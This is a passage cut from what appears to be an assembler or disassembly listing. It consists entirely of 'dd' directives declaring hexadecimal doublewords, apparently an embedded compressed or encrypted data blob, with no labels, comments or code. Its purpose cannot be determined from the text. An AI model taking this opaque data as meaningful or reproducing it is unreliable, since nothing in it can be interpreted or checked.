0DCD6ABh, 30FADB3Fh, 5006EC2h dd 1A16F924h, 0F272D2E8h, 99F00002h, 8EF89A51h, 800D163h dd 694034Fh, 362CF60h, 0CD2E2002h, 6400BFDFh, 1B7079B0h dd 0B7C41Ch, 0A0FF09FCh, 535128Bh, 2649A48h, 0AFD93654h dd 436040E8h, 0DEEE4C49h dd 0DB10E630h, 6200D0F0h, 0B49A484Ah, 145E1Ch, 0E78BE33Bh dd 9DEC46F2h, 0C7B0D700h, 0C0A501Ah, 5F723AE6h, 66EA0284h dd 27108010h, 580898BFh, 8F301AEDh, 0B8A45169h, 5734800Dh dd 0BC39073Ah, 81608270h, 43AC8AD0h, 8EB8A85Bh, 90D7h dd 0BF6396A0h, 0AEAD1E24h, 48306D00h, 66A889C4h, 474300ECh dd 0A57A9B40h, 0A0789057h, 0E5960B28h, 0C7CD3000h, 879E3979h dd 0D5200E8h, 0D4386A64h, 0F000EADDh, 0D67568C4h, 112EF9h dd 0C3D24E2Ch, 0BAA23D82h, 53F2AF14h, 669C00D4h, 6171320Ch dd 3ACC7C70h, 2B98B0C0h, 5119F8FFh, 12ECD1E2h, 26B49154h dd 28762F02h, 0A0B972E5h, 0E1E9DDF8h, 0EB3130F1h, 4A833B48h dd 0D3EA362Eh, 897A0204h, 9FCEB090h, 9BE00419h, 0CC0439A8h dd 0AD175888h, 5FE84656h, 78832400h, 4FE3E102h, 0D779F10Ah dd 7700B07Ah, 0DF313F57h, 0EC91F611h, 0FBC10CF5h, 43109CBAh dd 0CE88C91Eh, 0ACB782BDh, 407E8B2Bh, 13C3898h, 0F144064Bh dd 20DA5F8Fh, 0F90003EDh, 0EBEC61E9h, 0F57734Ch, 94D228D7h dd 814F5020h, 60015542h, 0C98E4ABh, 84414326h, 606562F4h dd 3E4830h, 0CA61285Ah, 0F5AA6AC6h, 0A7252A00h, 69871B67h dd 1ED0005Eh, 0C553840Ch, 0B401C3D8h, 47C4B76Bh, 2420E752h dd 893B028Bh, 0ED552C6Ah, 8DD1AC80h, 0EF608FCDh, 4F34A120h dd 0F3B97F77h, 199F32C1h, 0A09D980Fh, 7404DB9Ch, 0DECFF696h dd 5A637C80h, 0B36D5861h, 5202C2Ch, 407A4984h, 0A215FEE0h dd 330068C7h, 0EA3BF99Ch, 58B6D9h, 0C8CECB93h, 0A91E2A72h dd 0EB9A1900h, 1464BDDDh, 0E6CA015Ah, 0FAD51DA2h, 3688403Ch dd 3F03DCC5h, 0F191860Fh, 0B3C0E07Fh, 0F9263D74h, 2DEA4700h dd 8E161F2Ah, 310358FAh, 0F72F83C2h, 0E9C2EFF9h, 97946022h dd 0DCAD03BCh, 43C5257Ah, 0CB3B50A8h, 0EE026CFAh, 90A2FEDEh dd 0FAC098F0h, 0E89C04E0h, 807C0595h, 7D1FECB0h, 798CC0FBh dd 7AA2BB18h, 70132E18h, 0E36C007Bh, 5C41BE85h, 120EE8C1h dd 0E0EF6EC8h, 0CED056BDh, 8D3D0022h, 0BC4C7114h, 0C700A449h dd 6AAB204Eh, 0F9A9FFh, 0E4D2979Dh, 0BB074F94h, 7D43660Bh dd 2A09E5h, 77D00FCFh, 8F500A5h, 28CA5088h, 0C7FAA818h dd 263FAE03h, 0B8AA9FADh, 0E66D924Dh, 0D06C0063h, 0E7CC3231h dd 0A41E17BFh, 2445F001h, 0D890CFADh, 7D450966h, 0FEBC0C4Dh dd 0AEA84BE8h, 38845A00h, 0EE5D7ABFh, 0B600202h, 0F6C5F018h dd 0BA26D448h, 0D9BB7700h, 615414FFh, 42C6393Ch, 1D49280h dd 7AF2C832h, 0D1525A0Ch, 7E8816h, 667106B3h, 40243084h dd 514A44h, 0CCFBA402h, 0AAAFC020h, 0C070AC5Dh, 48CDEC24h dd 354D0103h, 0E49E067Ch, 0E5E42010h, 8C0CF200h, 64D960C2h dd 0E37396h, 5F6995A6h, 4DCFEF53h, 0E90A7C01h, 93FA462Ch dd 6ACE3880h, 82FF6185h, 0E8E58E00h, 0EEB8BADFh, 8C0C02Eh dd 2C1FC306h, 0AB026C0Fh, 93C0C0B5h, 465585h, 0A1A0A5F0h dd 0E2D726A6h, 0CD07670Fh, 0B9A613Eh, 0E0EB252Bh, 58B490h dd 0DFE2ED9h, 4076486h, 0C8C36C00h, 0DE6D6659h, 0C2060090h dd 0E11A3C82h, 0A73E41C6h, 2D629CBBh, 2032DB8Eh, 66294B9Dh dd 962A007Ah, 0DD820D43h, 0FB0FF370h, 0C7E242BFh, 0BCC09164h dd 9A434096h, 28FF01E4h, 0D737BA08h, 7B3160E0h, 9B57AA1Eh dd 50BE2940h, 3E8A9CF3h, 0FF8FC687h, 835D7C9Eh, 73C36255h dd 5EB1F7E0h, 0AC9DBA00h, 40D920F1h, 0DD501DDEh, 56B900BBh dd 914EC34Dh, 0BE1440B7h, 2CEA81h, 18B64972h, 921FCFACh dd 12984A4Dh, 1040B279h, 0B94D81B7h, 0ACEEA37h, 0D32857D6h dd 0B1EDEh, 48F8E2C6h, 0C300A2A7h, 6B3D3A24h, 18892901h dd 0E0D9675Bh, 0C95D8E59h, 0A80201B4h, 2BF62CFFh, 6A190EBh dd 0EF7F0707h, 15D9FFDh, 0DC454EADh, 0D61FEE93h, 3B40522Bh dd 69019416h, 2AE40233h, 671537C8h, 1772B060h, 5B0AAF00h dd 83AB64Ch, 1B64007Dh, 6FD0F48Bh, 8201F522h, 929CE62h dd 0AC46619h, 1D451825h, 5F18A1DCh, 0F99E38h, 972D6BB8h dd 35CBD90h, 15831767h, 49D8F40Fh, 48000BB0h, 0BF93385Ah dd 3E6D0E0Ch, 0DC0F4682h, 0AAC07536h, 39BCBEB8h, 0CC37CA00h dd 47F48CEFh, 50D20FFCh, 6580A3E2h, 980C93D5h, 0E115A801h dd 0D09B143Ch, 9401CC29h, 5F4659B3h, 0D8F6C876h, 0CC99FD00h dd 0AC97D128h, 0D9DB0063h, 5CB7998h, 0BA17D8EBh, 0D4404C0Bh dd 1A70D49Ch, 0B4F84C59h, 769FF100h, 104FC657h, 5B00ED74h dd 4AD5BCE1h, 45609E4h, 0ABEC9AFBh, 15DCC077h, 0F407180Ch dd 37A66B58h, 0F6F830B1h, 68238340h, 0B4420585h, 90632738h dd 6FBAF5B4h, 0CA448101h, 0EEAFB23Ah, 47088D4h, 4FB1AB4Ah dd 0A97BC094h, 7B00BFDEh, 109A3F87h, 5C9B98E3h, 120F8C5Fh dd 56A01C85h, 0CFCCF718h, 2BD04001h, 3BC51A28h, 2BC2874h dd 47E1A410h, 4C68440Ah, 3B00C1BDh, 0C27D3F90h, 0C11F2574h dd 5A8D1318h, 38B9D03Ah, 8F400F6Fh, 0BD5D26EBh, 51326048h dd 6F24EE3Eh, 7CBE5F38h, 0EFBD918h, 6159E31h, 0FEE55A5Dh dd 0D828F15Ch, 8D002833h, 0AAD57D6Fh, 158BD699h, 20D8E02Dh dd 96209333h, 2D5C63A1h, 25E600C8h, 2F3BDE3Fh, 0C070ECh dd 94D645C7h, 70BB5284h, 9C3D1300h, 0A0ABCA62h, 3E76E40Eh dd 1C07E9FEh, 7052EF3Eh, 272EFBB9h, 5DE27F00h, 4329D8E3h dd 0A97D6D35h, 0C3041E80h, 443821Ch, 463A06E9h, 0B8DDC032h dd 7E02A45Fh, 1C16943Ch, 28E563Fh, 8464B208h, 0FFE131C3h dd 0D730817Ah, 0C1E62C17h, 0EBC02C40h, 510A612Dh, 115A20DBh dd 182F9166h, 7962280Ah, 88B2E428h, 783B157Ch, 885F0F11h dd 8BD8A003h, 12955326h, 2116F767h, 43641148h, 0D1065060h dd 0A7C1F81Bh, 48EA59h, 0C99A0C0Fh, 25AD5F6Eh, 4F0070A6h dd 0FA3C8190h, 3E77E85h, 0E6A940F9h, 0E81097C9h, 940F5D70h dd 0CCA06DD9h, 0F4FDA3Fh, 0F4DD9129h, 32297602h, 0E64CB05Ch dd 7AA512E8h, 0CCFD1F5Eh, 0A1A90DBBh, 29BFFD18h, 0CB5C041h dd 0CBD3DC0Fh, 8F18BCA8h, 333876F6h, 7AA8A8F0h, 0A48EFA27h dd 7F0485F8h, 9CC81C86h, 63721210h, 333000BFh, 3828D1B3h dd 0EFF64100h, 0BB1C5F6Dh, 62D30622h, 29C15572h, 7B119F42h dd 24E711F4h, 21C3CB11h, 0D990390Bh, 25B3116Eh, 21C49711h dd 0D76A08F7h, 0E251DF98h, 0ABA82E4Fh, 2C283Ch, 0E8C896Ch dd 0B2C55D7Fh, 0F91E7100h, 0D2CA0A86h, 837F0Dh, 4B569E8Eh dd 1D0B49C4h, 1A12F600h, 68C88BE0h, 0C54F012Ch, 979C2043h dd 0CC62CCh, 154D42AFh, 0DC6B6Dh, 0AEEBE8AAh, 0B7ECE93Fh dd 0E0F3A874h, 0EFF8BA43h, 0C6015B00h, 4293BB48h, 10C207F9h dd 0E6741788h, 0D11E28E9h, 0D480529Bh, 7E6B0F9Fh, 0D6010003h dd 66A3628Ah, 0EE01B4F5h, 6E98E2BDh, 0C84037FDh, 2E783452h dd 4E8E33Ah, 0C0C7A425h, 872CF5D1h, 0C3A1BC00h, 36F853B1h dd 184AE288h, 18BDB54Ch, 1A3EED31h, 0D6706095h, 24D2ACh dd 0A47B79E3h, 6C82EF5Bh, 351C0090h, 9D804CD3h, 0A0695831h dd 71BF00A5h, 2E4592F2h, 0FF1CDBEBh, 0DF404423h, 6AA5B637h dd 7DE71F6Ch, 6F774055h, 0A95E16B2h, 0B493AA00h, 0CBFD9272h dd 760B823h, 655C6C67h, 7C1312Fh, 0AA0CF409h, 2D9D6E00h dd 0C43851A7h, 7CE20Fh, 9C2C1DFCh, 21F8C35Fh, 13D9D307h dd 51F38B27h, 2A0C752h, 570BFEh, 401194AFh, 0F760D8E4h dd 0C15BFB00h, 4544B91Bh dd 0B8EA0014h, 3422FE5Ch, 0BE01DCE7h, 19CA566Eh, 5EF89675h dd 965F50EEh, 0FAF6005Ah, 5889DEE2h, 8700186Eh, 0D7DC11E6h dd 0E631D20h, 0A46F4CE5h, 0AFC8F2A1h, 0F905F8FCh, 9700CF7Ch dd 0D8BDC0F0h, 0A5AD39h, 205F1FDDh, 70012A30h, 0CC93Eh dd 10D9AF6Ah, 3CB6EB38h, 87003DFEh, 8E4833A4h, 76015A72h dd 21685904h, 0C7E4AD0Bh, 0FEFC03B7h, 0FACB202Eh, 80E40AABh dd 8180AA00h, 0F3F67500h, 8F011C9Ah, 75AC9860h, 2AA60099h dd 4536C9F8h, 0DB00FFCAh, 0AE299D2Fh, 646206h, 9A07E055h dd 3792A39h, 0C3C0B1DDh, 546B087Bh, 9E84006Ch, 45F4F604h dd 56FC86C8h, 62E68B00h, 0EE26B6Ah, 5221079Dh, 7784CD64h dd 0ED01F020h, 6C014CEBh, 3C8279DBh, 0F1210A4Dh, 0DF172838h dd 8B6601F4h, 24D1A4F6h, 0E3049B54h, 7A82D92Ah, 22DA4C80h dd 0CAF7806Bh, 0E023930Fh, 3D8EBDA6h, 0E4794FF1h, 0A9804AA8h dd 39A5A76h, 6D2E9905h, 1DE8A5B9h, 1590BB7Eh, 8523670Fh dd 0C1060041h, 4C0F6Eh, 60E24A9Ch, 14DC0ECDh, 0C8329100h dd 863A23D0h, 6B20363h, 41343B1Bh, 98A45788h, 8BCCFB00h dd 6CC2FE12h, 493C0046h, 74B64C21h, 0CD484ADAh, 0AF9D002Ah dd 4136B71Ah, 8A40F197h, 269A0294h, 8AA472h, 66766387h dd 5B0C8C0Ah, 0E8117968h, 0B6850070h, 0A36018C0h, 52EEEFF2h dd 3E7C2403h, 98665D1Bh, 1081187h, 9023AAEEh, 0F0D45CBCh dd 67CBD94h, 3D740300h, 8E50D7C1h, 0B4140E17h, 0E2A0CC37h dd 0A6FC47BCh, 0CEEBEE02h, 782536FFh, 0C2F10014h, 1A667F0Dh dd 0E400FB86h, 9427A0AAh, 1DB9BCE7h, 0C01D3657h, 33563779h dd 6E03A115h, 0ADC1D9D7h, 0DD1CF065h, 1F600040h, 59B79693h dd 67003FCEh, 0BF2AD556h, 0E38798Bh, 0D0DC6991h, 0A4B2F22h dd 98BE2060h, 12D5AE0Eh, 0C70640C0h, 1760DAh, 3C2A28Bh dd 7F393EB3h, 2CFD1300h, 0C64EB1E9h, 6AFAB5h, 0A8C387CDh dd 153B23DEh, 90AF2B00h, 5C8C2241h, 0D1D5007Ah, 0CC5B240h dd 2600374Ch, 0BC52F163h, 1F9FBFh, 0C4E34290h, 0B338B9FAh dd 0CE8D3901h, 0C69314C1h, 4586F8h, 0E9730667h, 44D05D34h dd 0CFCE5A00h, 0D596F254h, 8B5800E6h, 65CBC7B6h, 0C000A7DCh dd 80BE281Dh, 0C5B86Bh, 8447B0F5h, 21A49190h, 75FCA01h dd 1971EDCFh, 0AB53748Fh, 307715E0h, 0F9008AE1h, 0D60D7308h dd 920945h, 0CCD5C869h, 78636A7Eh, 6EE025h, 0CE4E68B4h dd 281000A8h, 79E7DD9Ah, 772F8DEDh, 64700186h, 0D6C0F69Fh dd 8B8A0043h, 1EBDEF81h, 0EE70B25Dh, 22AC0B01h, 77F11F99h dd 90C58C20h, 0DA5F1618h, 7914D0A5h, 780E3139h, 21E4ECCBh dd 0B418C3D2h, 0BF51C4h, 0C1EA1A02h, 0DE44FB62h, 97B25000h dd 72D3A3D0h, 0CF260036h, 7B030BA4h, 60C0E4DDh, 7D51618Ch dd 22C906A7h, 0A09B1D9Eh, 0E5EBF907h, 17302ED9h, 0B13E6B4h dd 99B06411h, 5CC68400h, 0A000AFACh, 103EE116h, 3229085h dd 0B6C93983h, 5A88FA55h, 0D603C62Eh, 9277E6F1h, 0C847C8B2h dd 5F9F85Dh, 0EC1E16FBh, 29E8818Fh, 2CFC6053h, 0C0ABA016h dd 0C8001C87h, 3984BEh, 0B53D4B74h, 760D09C3h, 0A56DF200h dd 3FD1C756h, 0FB8E061Ch, 0D8C671A3h, 0FC557806h, 1C115CF4h dd 402EAB9Dh, 243693CDh, 6F5853BFh, 85B000B4h, 1B77FBA6h dd 0DD4E180h, 0C4B2ADh, 74AAEF50h, 1BBEF64Fh, 86484B00h dd 2A4E9E40h, 85FD1D9Dh, 0E6304202h, 6CD0C9ABh, 0CDEC0E02h dd 48083A52h, 1C222ECh, 5DDA5A20h, 0F88529D2h, 7B0284EAh dd 0F362AD06h, 2D8F057h, 4102D914h, 4BC09DC5h, 2E0020A5h dd 7AE00605h, 4AE18277h, 0E2140156h, 9A7640h, 1DD35EEh dd 6ABFD53h, 30165AA1h, 4008FA4h, 7339578Eh, 19C81CCh dd 0D274C261h, 60CFD65Dh, 84001F98h, 64444CFDh, 2FAEE3h dd 85312CBCh, 4614703Dh, 3E16607h, 0F7D2DBF0h, 4B0856B5h dd 0A8C0A80Eh, 55C4FE7h, 948F1C00h, 50189769h, 286DE8DCh dd 9BC487h, 0FF996579h, 0FE16D92Ch, 0A86EB500h, 7C7E72C3h dd 4496C6h, 33DFF7B1h, 90B23079h, 7700BBB0h, 5526101Ch dd 0FCA4DDAh, 910240C2h, 67904096h, 0BDFBA1D7h, 0CD0053F8h dd 3F87F7AEh, 589C8D3Eh, 2E7698CCh, 5A83003h, 0C0231592h dd 0A045203Fh, 22284C00h, 64662B4Dh, 0AF591451h, 0D303A077h dd 0EB3458Ch, 43917DE8h, 71F9BA0Bh, 0AC10C81Dh, 3F27074Ch dd 13EE4EFEh, 0C8005DA9h, 0CE7A9395h, 0F64ACC04h, 0D90360C7h dd 61CAC22Ch, 0E4596800h, 2E4D9E13h, 1070175h, 0C73D3B24h dd 586FF0DFh, 9AD05001h, 41F159D8h, 8E5AC980h, 0A069632Ah dd 0BCEEA816h, 524C30C0h, 3F8900D8h, 0ABB84DB3h, 58050CF3h dd 8E799325h, 5CD4CC00h, 13155E07h, 80A36105h, 0AF02C738h dd 8B2E3E09h, 0AA70482Fh, 0BA37ED8h, 62BD360Ch, 0C3A4A181h dd 0E834E199h, 780065BBh, 275BE3C4h, 0E650DCh, 43B4F287h dd 61454880h, 7F293507h, 0A7C03046h, 335B886Fh, 6B798DBEh dd 78F488B4h, 3FAE1D0Fh, 0BB4DA3A4h, 0A9BDE09Ah, 43F0EB11h dd 0C5310570h, 90D756DAh, 41CC1668h, 3F3FE672h, 0D09228B1h dd 0F10DC400h, 16057810h, 1C49E39h, 0F9D6F608h, 8EF8D47Eh dd 0B814C824h, 4665DE01h, 74FC5E2Eh, 3930BF7h, 857D8117h dd 8000DAEAh, 0F9B88CCAh, 834000AFh, 0E5B99553h, 0BC00C627h dd 0CC320139h, 3FCBA3EFh, 218048ACh, 0F3F83372h, 8004E24h dd 0FE17A177h, 25E3E030h, 0C0F042B3h, 0ADF23F90h, 1E31A400h dd 5E1D64AFh, 55CC00A5h, 2804DDA8h, 963CC314h, 20AE828Ch dd 0C0D815C4h, 7B6EDEE8h, 94FB00A7h, 4C6F8144h, 132556B5h dd 2C3482AFh, 60F9E2AAh, 3B2B0CEh, 0FDF4E3F3h, 0EDA99FB7h dd 82CC067h, 24BBA00h, 6ABD9245h, 0DBB80051h, 52913FC0h dd 8CF40F9Eh, 0E4704900h, 0F1B0CDF5h, 1C020192h, 24EF3E4Dh dd 0CF3B60A8h, 0C08D9A00h, 0D65222E2h, 79900E31h, 7CE0D9F0h dd 0F789FE65h, 0B3EA0501h, 95EE6F9h, 0C019CF60h, 0DFF3F048h dd 6D004416h, 0ACB0D294h, 796058BFh, 90670031h, 4FCF0477h dd 5B0178E1h, 9F8D80E7h, 20D0B46Bh, 59ED03B2h, 0BA714DCDh dd 2F2C1C80h, 7C9DD307h, 0A4319F03h, 0D4C43416h, 898C0045h dd 0C64A9957h, 0BB005927h, 0F7D873D6h, 47C91CCh, 0C3F46A9Ch dd 5AD1C02Ah, 0EC00DDA2h, 4D359DEAh, 0BEE4E0h, 5DE50EA3h dd 1FF88765h, 0DB1D4500h, 0A0CA9A6Dh, 8D3500DEh, 88E52B28h dd 48073FA9h, 89732DB5h, 88DF1A73h, 169F8h, 0CA49DB60h dd 2BA71E3Ah, 24A048h, 7597185Bh, 662FCDBFh, 0A8DA8A6h dd 2B948B00h, 2C390470h, 0A13B3F76h, 0CC1CA800h, 0F5780B03h dd 19D21E00h, 0F49B77E4h, 0B4C80529h, 912176D8h, 794B2B1Ch dd 363C0A4h, 8EB82Ah, 748850ECh, 8A911BB9h, 8407A903h dd 1CBC83h, 0A164B288h, 33C70306h, 0D8630397h, 12383896h dd 0DC4DF980h, 0AD2394AFh, 33F6EA07h, 0D70027CCh, 17AEBDE4h dd 0D2ED2430h, 6C5035DCh, 0E301B27Eh, 0CDB51769h, 9C401F3Bh dd 5162E78h, 0DAC7E0Eh, 2CCC057Ch, 0AEB4805Fh, 3049480h dd 9F4FA265h, 0ACFEF8C0h, 8EDC05F2h, 0BF3A8F27h, 0D95F8680h dd 48C700F8h, 8B527443h, 0EE4FC15Ah, 0BB2D3C00h, 1CCD30E6h dd 0C049BEE9h, 6640D19Eh, 0F5003EA7h, 89C8BB01h, 3C568h dd 81FEABE8h, 0F1AA15A4h, 0A1FCBFE6h, 0DB5C700h, 459F3BEEh dd 852E0039h, 0A955C926h dd 685F2BDEh, 6B840837h, 21A36500h, 0DA003292h, 9F7C9904h dd 4A1A74D4h, 0C1988106h, 2761FE87h, 3B03D0A0h, 659C5850h dd 14B06373h, 38FA9C00h, 0C1CF53D6h, 757C0340h, 46B9F17Fh dd 0FC86DDA8h, 574CBD0Eh, 8D0A21B1h, 0BFF07076h, 0A0610209h dd 0B7EFC8F3h, 0C3875060h, 7C3FAA18h, 0E26B5Eh, 739D8DE4h dd 1672D667h, 0A78E930Eh, 38F092B6h, 1AB8000Ch, 0EE56AF18h dd 10007A3Fh, 48E9E191h, 0D728A4h, 0B44D3062h, 34A522B9h dd 0E264780Ch, 42D4182h, 424B128Bh, 0ECA8F03Ah, 59D1604h dd 3800BA3Fh, 0ED37706Eh, 5BA4A604h, 48E0197Bh, 4010B492h dd 0F03101A8h, 0B6000E7Ch, 64CDA4ECh, 4BF94Eh, 56A1BE2h dd 0AFF7EF11h, 17D9816h, 382C0000h, 0C9E842h, 6E8C365Ch dd 0BC9B25CBh, 2E03F101h, 0DFA707C6h, 7D1F4470h, 810F04BBh dd 0A81BB3E8h, 1C972640h, 8000D412h, 43A424E6h, 0A54C0326h dd 120B2A3Bh, 656638A8h, 0E002D0B0h, 68DDA61Ch, 7B385A62h dd 4F12163Ch, 0B97400C3h, 0F289B6FCh, 24656D3Ch, 3F14D0h dd 22D8A280h, 1669198Eh, 0A68761h, 68DA1BC5h, 5E3DB53Ah dd 0A32AF80Ah, 0FC019012h, 0E4DC3DC2h, 0E720069Ah, 3E6C9C71h dd 3F69E89h, 94132850h, 0D0B0F40Fh, 2F007B0h, 0C02B9E31h dd 3D594820h, 0A2E48E1Fh, 37C79580h, 4E49D3CCh, 556430D8h dd 97125224h, 8487E2D2h, 943846E1h, 0C0D0F021h, 0BE8300DBh dd 596ABA92h, 0B0A0021Bh, 4004DDFh, 0EB0EAB8Fh, 5CC7C282h dd 95097888h, 0A0717605h, 96138A00h, 0CB782Eh, 8FC2ABB9h dd 30C8AE71h, 0D49D6200h, 35D70D61h, 949100B7h, 920F2B33h dd 8326BCE4h, 90017002h, 0F1F249D8h, 67FC02Eh, 920025A2h dd 0ABD0FEF3h, 2711C0h, 0C3A885BBh, 849FC45Fh, 0F063F01h dd 0BE3D2BE4h, 6D00746Ch, 38346A90h, 8C3C8B8Ah, 0A402DE5Bh dd 4A6FBAA6h, 3804760Ch, 7D55881h, 70EA2E44h, 0B703AE40h dd 345D52B9h, 0EB3EB019h, 0BBEAF4h, 1C5FCFF5h, 92BF2C93h dd 1B08B61Eh, 716459C0h, 429850h, 9CC2CD07h, 0D64FBE4Ah dd 0E062975Fh, 4AD8F270h, 933C818Fh, 0F99ED087h, 8D18E566h dd 12987C10h, 0A5E9D85Dh, 0E734FD08h, 6BDEC903h, 0BE0EC2Eh dd 77C5B008h, 530FDC8Fh, 6C2B0380h, 160090FCh, 61A42651h dd 18E3B677h, 5004CC41h, 0DBF830BCh, 442F3B03h, 833CAA33h dd 3FB38873h, 2D7A3E80h, 50D2310Ah, 126900CDh, 0EDC85A2h dd 5A8D4100h, 3B9DBD88h, 99B0C094h, 26D86493h, 13EB0F44h dd 0BD5D03h, 531C3236h, 6200D311h, 0FAD2B88h, 842814h dd 0D6576C3Ch, 0B533BE47h, 217F5Ch, 9DFD6F4Ah, 54292E0h dd 0EF770C7Eh, 37B6C015h, 0A71C176Ah, 895F4527h, 93D0B54Fh dd 7800881Dh, 8C7C75EFh, 0D0A0018h, 0D14F57B7h, 607D7DC2h dd 0DE89B100h, 889F8B3Ah, 0DDA10076h, 6DC841CBh, 9800DFAAh dd 90D9F2E6h, 7BCCAF06h, 66EC0EB0h, 0AB000F5Bh, 0D0C6E050h dd 603F5F00h, 70637A32h, 68A0BDAh, 0FB00C2E4h, 218D2CA4h dd 5E008975h, 6749209Dh, 0FA58BC6h, 0B82BFB9Ah, 0CB003DAEh dd 0AB0E78A0h, 96323400h, 30996740h, 308BA5Ah, 0DE29C379h dd 44D8B3E0h, 0CCA17BD8h, 1C042475h, 3C29A800h, 3BDA0AA6h dd 44374891h, 59D0E103h, 27F38199h, 620DCC8h, 0BF5F7008h dd 0DA123E57h, 0DC08A186h, 0FC1BA0DCh, 0C8795F6Fh, 0E7C86CC1h dd 870069BCh, 0BC30FDA2h, 5A19A450h, 6D0849E7h, 39A72181h dd 6E978FFDh, 0C056BAA0h, 0A2207D19h, 0D370FA83h, 60938500h dd 1BE91D3Eh, 447400BDh, 8D62070h, 7E00AB5Ah, 5C1F2E3Ch dd 0C963178h, 941DE8D7h, 875DF3C8h, 0EA814B4Ch, 22E033E5h dd 4FED0073h, 38F26BF4h, 0FE148E15h, 30A8665Bh, 0EC41C834h dd 80105098h, 3C2C00BEh, 0C00445CDh, 2707A6EAh, 21BF0BF4h dd 0D1C97420h, 0AE9E0C6Ch, 70722D13h, 0C6334900h, 0E782365Dh dd 179A0097h, 613FD040h, 510011A8h, 4BACFB8Ch, 4AABC1h dd 0EBCFDA8Ah, 477C6F45h, 8F756600h, 65F6B278h, 7AD21D81h dd 9FEC09Ch, 392EA9C1h, 9A0AB603h, 0E0F7CD4Fh, 90686A54h dd 6D87020Fh, 4BD1449Fh, 0ADC811C3h, 6700CA74h, 886F2A2Ch dd 0BA9DB7h, 0A75EDAFh, 0C36DC429h, 1EAD2430h, 785BA3h dd 62EF1A47h, 4E1239E4h, 45269A0Dh, 3DD01169h, 0B2114073h dd 0D0E8B01h, 3878585Ah, 0FA4AF6ECh, 0F0D31DE1h, 0E77C47B1h dd 819FA0DCh, 3101D56Fh, 2278992Dh, 0FE80E0F3h, 1AF290ECh dd 5901632Eh, 9EAA8BC4h, 73D81B5Ch, 9DD7004Ch, 44B22C96h dd 99985029h, 0A7A57E18h, 1CC3691Ah, 47EA05C8h, 0F093E2AAh dd 3828CA3Fh, 0F8060E75h, 0E6C08C74h, 5F2E00E0h, 0CFD26A4Ah dd 1F007CF0h, 7DDC4419h, 0C7D892h, 240C2104h, 0ECA91B65h dd 8EF65800h, 2A166410h, 0AB7B00E9h, 137AF3E7h, 4C0082CEh dd 1ACF9C86h, 7B8B9A33h, 116C00E1h, 48192170h, 36010483h dd 5D0AF603h, 27D872DCh, 0CB47008Eh, 538AF018h, 0F07AE3Fh dd 4688DE6Bh, 384F49B0h, 0ECAB1E8Bh, 0DD9A9CA7h, 86B98004h dd 0D0C0E4F8h, 0D47C89C0h, 387FB843h, 0A48003B3h, 0B9605DCCh dd 5C0383C2h, 7D124B1Ah, 9BB1986Bh, 7714148Fh, 0F00E460h dd 0AFDF5EBFh, 0B400161Dh, 9BA6288Bh, 73AB723Fh, 0CBD207F4h dd 0FED5A788h, 7FF60640h, 97002E1Eh, 4DE7AE1Ch, 3A352D44h dd 321EA0DAh, 0AA944051h, 54E03A2Bh, 4F8F9000h, 0DA6CAB99h dd 7E700ACh, 45C2A3A6h, 5F4955A2h, 77080128h, 4F8ED00Ch dd 0CFA19A40h, 506100B5h, 9EA8C409h, 22000E6Dh, 346E531Ah dd 39CAB65Fh, 0F98292h, 62DB0A56h, 57337998h, 19FAD90Fh dd 93EAA0A4h, 3E72BDh, 0F90354C4h, 0D4A877C1h, 9DF22200h dd 30A0F709h, 0A989069Eh, 0A65D561Eh, 0F4400107h, 7F007AB9h dd 19F92A0h, 0A65E8DCh, 23795361h, 0FD980024h, 5871B9D5h dd 2752001Dh, 42FB66Bh, 500EAFAh, 4FE3F733h, 38D6EFFCh dd 0A880E125h, 0BDCF11E2h, 1001B88Dh, 76715C3Ch, 0E7C0DC17h dd 0D8A30062h, 456C88A9h, 0CC003454h, 69DD5692h, 17AC1h dd 0FB47462Ah, 9A30A39Bh, 0F6042800h, 8B774053h, 0C4E34CE9h dd 0A0211D00h, 6710A15Fh, 88C36879h, 985E319Ah, 77E5AE05h dd 42FD0043h, 950ED152h, 6A50407Dh, 0B501458Ah, 0F601AF1Eh dd 0BEC4CEFDh, 6F34008Eh, 0C73B0748h, 18001474h, 5F9F6E4Dh dd 1876EDEAh, 0D0B1823Fh, 6F00D1D9h, 0FDD810E8h, 523224h dd 0F197ADD2h, 935A67E7h, 0F061C900h, 12A3337Eh, 50020399h dd 78B3DDACh, 4000B1DEh, 0D17A9688h, 833457h, 0DE3D841Fh dd 81129514h, 1BF2CB3Eh, 0B078767Eh, 6EE43Ch, 33A0638Ah dd 53E81F80h, 0D64AF800h, 76ABF62Eh, 51B60016h, 1AC5B5CDh dd 14007879h, 0D0AC6ED3h, 0EEEC1ED1h, 0FBA000BFh, 1F1A6173h dd 91DD655Ah, 0BB061Fh, 0D227355Ch, 0F4815B98h, 1EF001E6h dd 12FDB03Fh, 0AF30E8DEh, 0B4B58C1Bh, 0C62BE848h, 0C1A503D8h dd 6ECFF212h, 0BB008975h, 233FCC30h, 0A87FE5h, 42A1DC77h dd 8432DF3Ch, 4B7838h, 146C9570h, 0E272FAh, 0BE1BB7DEh dd 0FC46898Bh, 2564221Eh, 5A74803Fh, 0B0E09C21h, 0E1660781h dd 5185F3FEh, 0ECA105F7h, 9100F8C8h, 0E583D3E6h, 65E142h dd 76895F97h, 8806F4E7h, 304ECF00h, 75FC5298h, 9ECD1h dd 0A5D58DBAh, 63D25C41h, 0B3B28500h, 979EFBE8h, 0DF7F2857h dd 0E2E63CA5h, 511C5609h dd 177D1500h, 0B138FB29h, 40B48082h, 429448CFh, 653038A7h dd 3BC35300h, 0E1622FDh, 983FE205h, 0F5C769FFh, 65809610h dd 0DEFE74h, 0A90C917Fh, 20AB9B1Ch, 0C8762300h, 0C5B2373Eh dd 32C33A0Bh, 55E39Ch, 2C07BDA7h, 7900DF39h, 4086CBB6h dd 60A88Eh, 26933F56h, 0ACAA073h, 0EEB80E00h, 442AA34Fh dd 87540058h, 0D1819077h, 0FF009B88h, 0B879ABACh, 602396E2h dd 0C0696837h, 0C7009E4Ch, 0C5DEADE4h, 60293B21h, 4EA1E9B6h dd 59003C96h, 8BEC81F1h, 7C776BCFh, 5499047Bh, 0C0283F7Ch dd 5C5B671h, 0E4CCE603h, 0F0C60309h, 0BC2F50B8h, 9067002Ch dd 15BBFEA5h, 4F027D04h, 0EB80AE31h, 4E7941h, 60338397h dd 0CFD17D1h, 5DC9890Eh, 63C18780h, 0D2D80BF0h, 27F9001Fh dd 0B326CF35h, 0BF008CC0h, 0C602EC0Dh, 396EE83Ch, 0A100FA69h dd 7F4B75F4h, 0E500C814h, 34EF7358h, 3C424357h, 0DE1C862Ch dd 27490583h, 0ADC50095h, 0E2ACBAAFh, 10F0D800h, 0C2351589h dd 0FDB0028h, 5EA20945h, 